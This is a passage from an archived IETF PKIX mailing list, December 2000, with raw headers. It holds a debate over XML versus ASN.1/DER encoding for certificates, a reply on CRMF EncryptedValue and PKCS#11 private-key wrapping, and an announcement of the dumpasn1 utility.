(I'm thinking of PKCS#11).

Why would you want to replace all of these just for the sake of "purity 
of XML"?

Terry

--------------010203070804080906090505
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><head></head><body>Polar Humenn wrote:<br>
<blockquote type="cite" cite="mid:Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com"><pre wrap="">On Thu, 7 Dec 2000, Tim Polk wrote:<br><br>&lt;snipped&gt;<br></pre>
  <blockquote type="cite"><pre wrap="">To be honest, I personally believe that XML is an <br>inappropriate encoding format for certificates (public key *or* attribute).<br></pre></blockquote>
    <pre wrap=""><!----><br>Forgive me, I'm just an academic. So, my I ask, what does the encoding<br>format really matter? And especially, why is XML "inappropriate" for<br>certificates?<br></pre>
    </blockquote>
At the end of the day, the encoding format doesn't really matter.&nbsp; As long
as the required data is included in the payload, and all the parties involved
can decode and process the message, the desired results will be acheived.<br>
    <br>
However,&nbsp; there currently is a widely deployed and useful infrastructure
for certificates that uses ASN.1, DER and X.509 as the standard way of representing
the payload.&nbsp; There are applications and protocols that use this infrastructure
such as TLS/SSL, S/MIME and even XMLDSIG that embed these existing formats.&nbsp;
There is infrastructure developed and deployed for generating these certificates.&nbsp;
There are standard interfaces to devices that provided mechanisms for dealing
with X.509 certificates (I'm thinking of PKCS#11).<br>
    <br>
Why would you want to replace all of these just for the sake of "purity of XML"?<br>
    <br>
Terry<br>
</body></html>
--------------010203070804080906090505--



From owner-ietf-pkix@imc.org  Thu Dec  7 14:24:10 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18733
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 14:24:09 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20467;
	Thu, 7 Dec 2000 11:19:59 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 11:19:16 -0800
Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20409
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 11:19:14 -0800 (PST)
Received: (qmail 26325 invoked from network); 7 Dec 2000 19:21:20 -0000
Received: from taurus.hosting4u.net (209.15.2.33)
  by mail-gate.hosting4u.net with SMTP; 7 Dec 2000 19:21:20 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 07 Dec 2000 13:21:17 -0600
Message-ID: <3A2FE2D5.1962319@nma.com>
Date: Thu, 07 Dec 2000 11:19:49 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Polk <tim.polk@nist.gov>
CC: Polar Humenn <polar@adiron.com>, ietf-pkix@imc.org
Subject: two good points, Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit



Tim Polk wrote:

> At 10:10 AM 12/7/00 -0500, Polar Humenn wrote:
> >On Thu, 7 Dec 2000, Tim Polk wrote:
>
> > > To be honest, I personally believe that XML is an
> > > inappropriate encoding format for certificates (public key *or* attribute).
> >
> >Forgive me, I'm just an academic. So, my I ask, what does the encoding
> >format really matter? And especially, why is XML "inappropriate" for
> >certificates?
>
> I'm just a government hack, so take it for what it's worth:
>
> <snip>
> I see tow major problems with XML as a near term solution for
> certificates.  Perhaps they can be resolved in the future, but they seem
> like issues today.
>
> First, I believe that significant work remains to handle signed XML at
> all.   In its basic form, XML encoded documents can be modified without
> changing the document.  That breaks signatures.

But not the document.  This is IMO good point #1 -- and you can always prove
that the document was signed.

> Secondly, XML certificates are going to bring a significant increase in
> size.

This is just a question of proper compression.  The information capacity of
the certificate (viewed as a Shannon communication channel) versus its size
is not only a function of the pre-encoding used but also of the post-encoding.

So, this is IMO good point #2 -- you can reduce a XML certificate size *below* the
ASN.1 size.

> I don't have a crystal ball, but it seems that ASN.1 DER encoding serves
> our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide
> demonstrates, but we know how to make it work.

A Florida election official said the same the other day about chads and paper-ballots:
-- sometjing like "Now that every voter knows the problem, the system will be really
accurate. We can continue to use punch-cards".

But this is not the problem, is it?

Cheers,

Ed Gerck



From owner-ietf-pkix@imc.org  Thu Dec  7 15:12:00 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA26662
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 15:11:59 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA24331;
	Thu, 7 Dec 2000 12:08:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 12:08:12 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA24261
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:08:11 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id PAA10726;
	Thu, 7 Dec 2000 15:10:18 -0500 (EST)
Message-Id: <4.2.0.58.20001207144441.01c61ae0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 15:08:06 -0500
To: Ed Gerck <egerck@nma.com>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WG
  tentative agenda
Cc: Polar Humenn <polar@adiron.com>, ietf-pkix@imc.org
In-Reply-To: <3A2FE2D5.1962319@nma.com>
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
 <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Ed,

> > First, I believe that significant work remains to handle signed XML at
> > all.   In its basic form, XML encoded documents can be modified without
> > changing the document.  That breaks signatures.
>
>But not the document.  This is IMO good point #1 -- and you can always prove
>that the document was signed.

I don't get it.  If the signature is broken, you cannot prove the document 
was signed.  All you know is that the signature does not verify.


> > Secondly, XML certificates are going to bring a significant increase in
> > size.
>
>This is just a question of proper compression.  The information capacity of
>the certificate (viewed as a Shannon communication channel) versus its size
>is not only a function of the pre-encoding used but also of the post-encoding.
>
>So, this is IMO good point #2 -- you can reduce a XML certificate size 
>*below* the
>ASN.1 size.

Much of the information cannot be compressed, though.  Keys and signatures 
should look like random data, so there shouldn't be much of a gain 
there.  If you compress the remaining parts, it won't be readable, and the 
client system has to implement special processing rules to obtain the 
needed information.  Hmm, sounds like decoding the ASN.1 to me.

> >
> > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves
> > our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide
> > demonstrates, but we know how to make it work.
>
>A Florida election official said the same the other day about chads and 
>paper-ballots:
>-- sometjing like "Now that every voter knows the problem, the system will 
>be really
>accurate. We can continue to use punch-cards".
>
>But this is not the problem, is it?

Point well taken, but I am not convinced that XML is simpler, clearer or 
more interoperable solution.  The difference with voting is that NIST 
identified these problems back in '88.  No one noticed or cared back then.

Thanks,

Tim



From owner-ietf-pkix@imc.org  Thu Dec  7 15:25:04 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28805
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 15:25:03 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA24330;
	Thu, 7 Dec 2000 12:08:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 12:08:04 -0800
Received: from ntserver2.chrysalis-its.com ([209.47.245.163])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA24240
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:08:03 -0800 (PST)
From: FRousseau@chrysalis-its.com
Received: by NTSERVER2 with Internet Mail Service (5.5.2650.21)
	id <XXCGYBA3>; Thu, 7 Dec 2000 15:10:14 -0500
Message-ID: <918C70B01822D411A87400B0D0204DFF72F55A@panda.chrysalis-its.com>
To: arik@phaos.com
Cc: ietf-pkix@imc.org
Subject: RE: CRMF EncryptedValue
Date: Thu, 7 Dec 2000 15:10:12 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C06089.B566BBAE"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06089.B566BBAE
Content-Type: text/plain;
	charset="iso-8859-1"

Ari,

It is not incomplete if implementations follow the approach described in the
note after the ASN.1 for the EncryptedValue structure in Section 6.4:

-- When EncryptedValue is used to carry a private key (as opposed to
-- a certificate, implementations MUST support the encValue field
-- containing an encrypted PrivateKeyInfo as defined in [PKCS11],
-- section 12.9, with the exception that the D-H algorithm OID and
-- parameters MUST be as defined in ANSI X9.42.  In this case,
-- the intendedAlg field is unnecessary (since this information is 
-- included in PrivateKeyInfo) and MUST be omitted.
-- If encValue contains some other format/encoding for the private 
-- key, intendedAlg MUST be present. Furthermore, the first octet of 
-- valueHint MAY be used to indicate the format/encoding (but note 
-- that the possible values of this octet are not specified at this
-- time).

Section 12.9 of PKCS#11 v2.10 describes precisely how to use secret keys for
wrapping and unwrapping RSA private keys, Diffie-Hellman private keys, and
DSA private keys.

For wrapping, a private key is BER-encoded according to PKCS #8's
PrivateKeyInfo ASN.1 type.  PKCS #8 requires an algorithm identifier for the
type of the private key and the parameters for the algorithm identifiers.
Both of these values are also mentioned in PKCS#11 except for X9.42 as per
the note above.  Once a private key has been BER-encoded as a PrivateKeyInfo
type, the resulting string of bytes is encrypted with the secret key.  This
encryption must be done in CBC mode with PKCS padding.

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
1688 Woodward Drive
Ottawa, Ontario, CANADA, K2C 3R7
frousseau@chrysalis-its.com      Tel. (613) 723-5076 ext. 419
http://www.chrysalis-its.com     Fax. (613) 723-5078



-----Original Message-----
From: Ari Kermaier [mailto:arik@phaos.com]
Sent: Wednesday, December 06, 2000 3:40 PM
To: ietf-pkix@imc.org
Subject: CRMF EncryptedValue


It seems to me that the EncryptedValue structure defined in CRMF (used in 
POPOPrivKey and PKIArchiveOptions) may be incompletely specified.

The syntax from draft-ietf-pkix-rfc2511bis-00 Section 6.4 is:

EncryptedValue ::= SEQUENCE {
       intendedAlg   [0] AlgorithmIdentifier  OPTIONAL,
       -- the intended algorithm for which the value will be used
       symmAlg       [1] AlgorithmIdentifier  OPTIONAL,
       -- the symmetric algorithm used to encrypt the value
       encSymmKey    [2] BIT STRING           OPTIONAL,
       -- the (encrypted) symmetric key used to encrypt the value
       keyAlg        [3] AlgorithmIdentifier  OPTIONAL,
       -- algorithm used to encrypt the symmetric key
       valueHint     [4] OCTET STRING         OPTIONAL,
       -- a brief description or identifier of the encValue content
       -- (may be meaningful only to the sending entity, and used only
       -- if EncryptedValue might be re-examined by the sending entity
       -- in the future)
         encValue       BIT STRING }

How does the recipient of such a structure know what block padding scheme 
may (or may not) have been used with the symmetric encryption algorithm? 
CMS, for example, specifies mechanisms whereby this information is conveyed 
with similar message structures, but I can't seem to find any mention of 
this in CMP/CRMF. Any ideas, anyone?

Ari

------_=_NextPart_001_01C06089.B566BBAE
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>RE: CRMF EncryptedValue</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Ari,</FONT>
</P>

<P><FONT SIZE=3D2>It is not incomplete if implementations follow the =
approach described in the note after the ASN.1 for the EncryptedValue =
structure in Section 6.4:</FONT></P>

<P><FONT SIZE=3D2>-- When EncryptedValue is used to carry a private key =
(as opposed to</FONT>
<BR><FONT SIZE=3D2>-- a certificate, implementations MUST support the =
encValue field</FONT>
<BR><FONT SIZE=3D2>-- containing an encrypted PrivateKeyInfo as defined =
in [PKCS11],</FONT>
<BR><FONT SIZE=3D2>-- section 12.9, with the exception that the D-H =
algorithm OID and</FONT>
<BR><FONT SIZE=3D2>-- parameters MUST be as defined in ANSI =
X9.42.&nbsp; In this case,</FONT>
<BR><FONT SIZE=3D2>-- the intendedAlg field is unnecessary (since this =
information is </FONT>
<BR><FONT SIZE=3D2>-- included in PrivateKeyInfo) and MUST be =
omitted.</FONT>
<BR><FONT SIZE=3D2>-- If encValue contains some other format/encoding =
for the private </FONT>
<BR><FONT SIZE=3D2>-- key, intendedAlg MUST be present. Furthermore, =
the first octet of </FONT>
<BR><FONT SIZE=3D2>-- valueHint MAY be used to indicate the =
format/encoding (but note </FONT>
<BR><FONT SIZE=3D2>-- that the possible values of this octet are not =
specified at this</FONT>
<BR><FONT SIZE=3D2>-- time).</FONT>
</P>

<P><FONT SIZE=3D2>Section 12.9 of PKCS#11 v2.10 describes precisely how =
to use secret keys for wrapping and unwrapping RSA private keys, =
Diffie-Hellman private keys, and DSA private keys.</FONT></P>

<P><FONT SIZE=3D2>For wrapping, a private key is BER-encoded according =
to PKCS #8's PrivateKeyInfo ASN.1 type.&nbsp; PKCS #8 requires an =
algorithm identifier for the type of the private key and the parameters =
for the algorithm identifiers.&nbsp; Both of these values are also =
mentioned in PKCS#11 except for X9.42 as per the note above.&nbsp; Once =
a private key has been BER-encoded as a PrivateKeyInfo type, the =
resulting string of bytes is encrypted with the secret key.&nbsp; This =
encryption must be done in CBC mode with PKCS padding.</FONT></P>

<P><FONT SIZE=3D2>Cheers,</FONT>
</P>

<P><FONT SIZE=3D2>Francois</FONT>
<BR><FONT SIZE=3D2>___________________________________</FONT>
<BR><FONT SIZE=3D2>Francois Rousseau</FONT>
<BR><FONT SIZE=3D2>Director of Standards and Conformance</FONT>
<BR><FONT SIZE=3D2>Chrysalis-ITS</FONT>
<BR><FONT SIZE=3D2>1688 Woodward Drive</FONT>
<BR><FONT SIZE=3D2>Ottawa, Ontario, CANADA, K2C 3R7</FONT>
<BR><FONT =
SIZE=3D2>frousseau@chrysalis-its.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel. =
(613) 723-5076 ext. 419</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.chrysalis-its.com" =
TARGET=3D"_blank">http://www.chrysalis-its.com</A>&nbsp;&nbsp;&nbsp;&nbs=
p; Fax. (613) 723-5078</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Ari Kermaier [<A =
HREF=3D"mailto:arik@phaos.com">mailto:arik@phaos.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, December 06, 2000 3:40 PM</FONT>
<BR><FONT SIZE=3D2>To: ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: CRMF EncryptedValue</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>It seems to me that the EncryptedValue structure =
defined in CRMF (used in </FONT>
<BR><FONT SIZE=3D2>POPOPrivKey and PKIArchiveOptions) may be =
incompletely specified.</FONT>
</P>

<P><FONT SIZE=3D2>The syntax from draft-ietf-pkix-rfc2511bis-00 Section =
6.4 is:</FONT>
</P>

<P><FONT SIZE=3D2>EncryptedValue ::=3D SEQUENCE {</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
intendedAlg&nbsp;&nbsp; [0] AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the intended =
algorithm for which the value will be used</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
symmAlg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [1] =
AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the =
symmetric algorithm used to encrypt the value</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
encSymmKey&nbsp;&nbsp;&nbsp; [2] BIT =
STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the =
(encrypted) symmetric key used to encrypt the value</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
keyAlg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [3] =
AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- algorithm =
used to encrypt the symmetric key</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
valueHint&nbsp;&nbsp;&nbsp;&nbsp; [4] OCTET =
STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- a brief =
description or identifier of the encValue content</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- (may be =
meaningful only to the sending entity, and used only</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- if =
EncryptedValue might be re-examined by the sending entity</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- in the =
future)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
encValue&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BIT STRING }</FONT>
</P>

<P><FONT SIZE=3D2>How does the recipient of such a structure know what =
block padding scheme </FONT>
<BR><FONT SIZE=3D2>may (or may not) have been used with the symmetric =
encryption algorithm? </FONT>
<BR><FONT SIZE=3D2>CMS, for example, specifies mechanisms whereby this =
information is conveyed </FONT>
<BR><FONT SIZE=3D2>with similar message structures, but I can't seem to =
find any mention of </FONT>
<BR><FONT SIZE=3D2>this in CMP/CRMF. Any ideas, anyone?</FONT>
</P>

<P><FONT SIZE=3D2>Ari</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06089.B566BBAE--


From owner-ietf-pkix@imc.org  Thu Dec  7 17:23:56 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18127
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 17:23:56 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01354;
	Thu, 7 Dec 2000 14:20:49 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 14:19:50 -0800
Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01306
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 14:19:49 -0800 (PST)
Received: (qmail 20593 invoked from network); 7 Dec 2000 22:21:53 -0000
Received: from taurus.hosting4u.net (209.15.2.33)
  by mail-gate.hosting4u.net with SMTP; 7 Dec 2000 22:21:53 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 07 Dec 2000 16:21:50 -0600
Message-ID: <3A300D20.F7497497@nma.com>
Date: Thu, 07 Dec 2000 14:20:16 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Polk <tim.polk@nist.gov>
CC: Polar Humenn <polar@adiron.com>, ietf-pkix@imc.org
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WGtentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
	 <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit



Tim Polk wrote:

> Tim Polk wrote:
> > > First, I believe that significant work remains to handle signed XML at
> > > all.   In its basic form, XML encoded documents can be modified without
> > > changing the document.  That breaks signatures.
> >
>
> Ed Gerck wrote:
> >But not the document.  This is IMO good point #1 -- and you can always prove
> >that the document was signed.
>
> I don't get it.  If the signature is broken, you cannot prove the document
> was signed.  All you know is that the signature does not verify.

If XML encoded documents can be modified without changing the
document, then presenting one XML encoded document which has
a valid signature is enough to allow any number of documents equal
to that one to be verified -- irrespective of their XML encoded form.

In other words, if F: X --> Y is a mapping between two sets X and Y
such that several different x in X have the same image y0 in Y, then presenting
a valid signature for one x0 is enough, together with a certified F, to certify all
other x that have the same image as the certified x0 mapped by the certified F,
which is y0.

> > > Secondly, XML certificates are going to bring a significant increase in
> > > size.
> >
> >This is just a question of proper compression.  The information capacity of
> >the certificate (viewed as a Shannon communication channel) versus its size
> >is not only a function of the pre-encoding used but also of the post-encoding.
> >
> >So, this is IMO good point #2 -- you can reduce a XML certificate size
> >*below* the
> >ASN.1 size.
>
> Much of the information cannot be compressed, though.  Keys and signatures
> should look like random data, so there shouldn't be much of a gain
> there.

The same happens with ASN.1, so both are tied for anything that is random.
But anything else can be compressed and presents a benefit for compressed
XML over ASN.1.

>  If you compress the remaining parts, it won't be readable, and the
> client system has to implement special processing rules to obtain the
> needed information.  Hmm, sounds like decoding the ASN.1 to me.

Except that the transmitted data can be smaller, which is the point here --
when you mention size as a prime factor. But you can always trade-off for
speed and not compress at all, or compress with a simpler method.

> > >
> > > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves
> > > our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide
> > > demonstrates, but we know how to make it work.
> >
> >A Florida election official said the same the other day about chads and
> >paper-ballots:
> >-- sometjing like "Now that every voter knows the problem, the system will
> >be really
> >accurate. We can continue to use punch-cards".
> >
> >But this is not the problem, is it?
>
> Point well taken, but I am not convinced that XML is simpler, clearer or
> more interoperable solution.  The difference with voting is that NIST
> identified these problems back in '88.  No one noticed or cared back then.

and in 89, 90, 91, 92, ... 99 when the problem again raised its ugly head
and was again mentioned.  But paper printing is a good business and
in the name of "current implementations" the situation grew worse,
at the cost of $3 to $7 dollar per cast vote.

Some parallels can be drawn with the present case, I am sure, even though
a certificate costs between $30 to $300 and there is no paper involved. In the
good name of "current implementations", change is stalled. But reality knocks
on the door, sooner or later.  The King is nude in elections.

Now, with more and more of our economy depending on digital certificates and
almost-there-but-not-quite PKI technology, it is my opinion that we cannot yet
block innovation in name of business, or a "preferred encoding".

This PKIX WG should support a subgroup that could avoid the usual mistakes
and may provide us with more markets, not less markets -- more uses, not less uses.

Just my opinion, of course.

Cheers,

Ed Gerck



From owner-ietf-pkix@imc.org  Thu Dec  7 18:15:17 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24215
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 18:15:16 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA03899;
	Thu, 7 Dec 2000 15:12:28 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 15:12:23 -0800
Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA03758;
	Thu, 7 Dec 2000 15:05:36 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz (pgut001@kahu.cs.auckland.ac.nz [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id MAA15272; Fri, 8 Dec 2000 12:07:41 +1300 (NZDT) (sender pgut001@cs.auckland.ac.nz)
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9)
	id <97623046120024>; Fri, 8 Dec 2000 12:07:41 (NZDT)
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: ietf-pkix@imc.org, ietf-smime@imc.org
Subject: Semi-annual reminder: dumpasn1 utility available
Sender: pgut001@cs.auckland.ac.nz
Reply-To: pgut001@cs.auckland.ac.nz
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 8 Dec 2000 12:07:41 (NZDT)
Message-ID: <97623046120024@kahu.cs.auckland.ac.nz>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a semi-annual reminder to people about dumpasn1, which picks apart
ASN.1 data and displays it in human-readable form.  I do actually update this
every now and then, so it's worth checking every few months for new copies.
Recent (within the last 6-12 months) features include automatic detection of
stuff encapsulated inside bit/octet strings (no more -o or -b options),
detection of encapsulated text strings disguised as something else, the ability
to display text alongside a hex dump of data, an attempt at displaying
BMPStrings under Windows (which for console apps doesn't actually work anything
like what the docs would have you believe, if anyone can get it to display non
8859-1 characters let me know), and an indication of which bit is set if you've
got a large string of zero bits with a single 1 bit at the start (this was
motivated by the need to pick apart CMP error codes).

Available as usual from http://www.cs.auckland.ac.nz/~pgut001/dumpasn1.{c|.cfg}
for the source code and config file.

Peter.



From owner-ietf-pkix@imc.org  Thu Dec  7 18:19:40 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24376
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 18:19:39 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA04243;
	Thu, 7 Dec 2000 15:16:16 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 15:16:13 -0800
Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA04211
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 15:16:12 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA226824;
	Thu, 7 Dec 2000 18:17:12 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id SAA18610;
	Thu, 7 Dec 2000 18:16:06 -0500
Importance: Normal
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
To: thayes@netscape.com (Terry Hayes)
Cc: Polar Humenn <polar@adiron.com>, Tim Polk <tim.polk@nist.gov>,
        ietf-pkix@imc.org
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF6A94D9C2.805F97C7-ON852569AE.0068F124@somers.hqregion.ibm.com>
From: "Tom Gindin" <tgindin@us.ibm.com>
Date: Thu, 7 Dec 2000 18:17:40 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at
 12/07/2000 06:17:53 PM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA04213
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
